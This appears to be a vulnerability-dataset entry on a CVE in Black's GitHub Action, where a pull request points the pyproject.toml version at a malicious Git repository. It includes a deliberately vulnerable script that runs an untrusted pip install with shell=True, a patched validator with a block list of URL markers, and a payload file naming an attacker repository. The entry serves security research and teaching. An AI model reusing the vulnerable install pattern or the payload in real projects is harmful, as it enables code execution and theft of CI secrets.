CVE-2026-31900
Black GitHub action vulnerable to code execution via malicious pyproject.toml.
- CVSS 8.7
- CWE-20
- Input Validation and Sanitization
- Remote
Black is the uncompromising Python code formatter. Black provides a GitHub action for formatting code. This action supports an option, use_pyproject: true, for reading the version of Black to use from the repository pyproject.toml. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action. Version 26.3.0 fixes this vulnerability.
- CWE
- CWE-20
- CVSS base score
- 8.7
- Published
- 2026-03-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Remote File Inclusion (RFI)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Black
- Fixed by upgrading
- Yes
Solution
Upgrade to version 26.3.0.
Vulnerable code sample
import subprocess
import toml
import os
# This script simulates the vulnerable logic of the Black GitHub Action.
# For this demonstration, a malicious 'pyproject.toml' is created first.
# In a real attack, this file would be part of a malicious pull request.
MALICIOUS_PYPROJECT_CONTENT = """
[tool.black]
# The attacker has changed the 'version' to point to a malicious Git URL.
# The URL could also contain shell command injection characters.
version = "black @ git+https://github.com/psf/black.git"
"""
# Create the malicious file for the script to read.
with open("pyproject.toml", "w") as f:
f.write(MALICIOUS_PYPROJECT_CONTENT)
# --- Start of the vulnerable code logic as it might have existed ---
try:
# 1. The action script reads the 'pyproject.toml' file provided by the user.
config = toml.load("pyproject.toml")
# 2. It naively extracts the 'version' string, trusting it completely.
version_specifier = config["tool"]["black"]["version"]
# 3. The untrusted 'version_specifier' is directly used to build a command.
command = f"pip install {version_specifier}"
# 4. The command is executed in a shell. This is the core vulnerability.
# 'pip' will clone the malicious repository and run its 'setup.py',
# leading to arbitrary code execution. The use of 'shell=True' also
# opens up direct command injection vulnerabilities if the specifier
# was crafted with characters like ';' or '|'.
subprocess.run(command, shell=True, check=True)
finally:
# Clean up the created file.
os.remove("pyproject.toml")Patched code sample
import tomllib
from typing import Any, Dict
def get_safe_black_version_from_config(pyproject_content: str) -> str:
"""
Safely parses pyproject.toml content to get the black version specifier.
This function represents a fix for a vulnerability where a malicious
user could specify a direct URL dependency in the pyproject.toml file,
leading to arbitrary code execution.
The fix involves validating that the version specifier is not a URL
or path-based dependency.
Args:
pyproject_content: A string containing the content of a pyproject.toml file.
Returns:
A validated, safe version specifier for black.
Raises:
ValueError: If the version specifier is missing, malformed, or
determined to be a security risk (e.g., a URL).
"""
try:
config: Dict[str, Any] = tomllib.loads(pyproject_content)
except tomllib.TOMLDecodeError:
raise ValueError("Failed to parse pyproject.toml content.")
version_specifier = config.get("tool", {}).get("black", {}).get("version")
if not isinstance(version_specifier, str) or not version_specifier:
raise ValueError("Black 'version' not specified or invalid in [tool.black].")
# --- THE VULNERABILITY FIX ---
# The vulnerability occurs when the version_specifier is passed directly to a
# package installer without validation. A malicious value could be
# "black@git+https://example.com/malicious/repo.git".
#
# This fix validates the specifier to ensure it does not contain elements
# indicative of a direct URL reference, which is the attack vector.
disallowed_substrings = ["@", "://", "git+", "hg+", "bzr+", "svn+"]
if any(sub in version_specifier for sub in disallowed_substrings):
raise ValueError(
f"Potentially unsafe black version specifier: '{version_specifier}'. "
"Direct URL dependencies are disallowed."
)
# The specifier is considered safe if it passes the validation.
return version_specifierPayload
[project]
name = "vulnerable-project"
version = "1.0.0"
requires-python = ">=3.8"
dependencies = [
# other dependencies
]
[project.optional-dependencies]
dev = [
"black @ git+https://github.com/attacker/malicious-repo.git#egg=black",
"pytest>=8.0.0",
]
[tool.black]
line-length = 88
Cite this entry
@misc{vaitp:cve202631900,
title = {{Black GitHub action vulnerable to code execution via malicious pyproject.toml.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31900},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31900/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
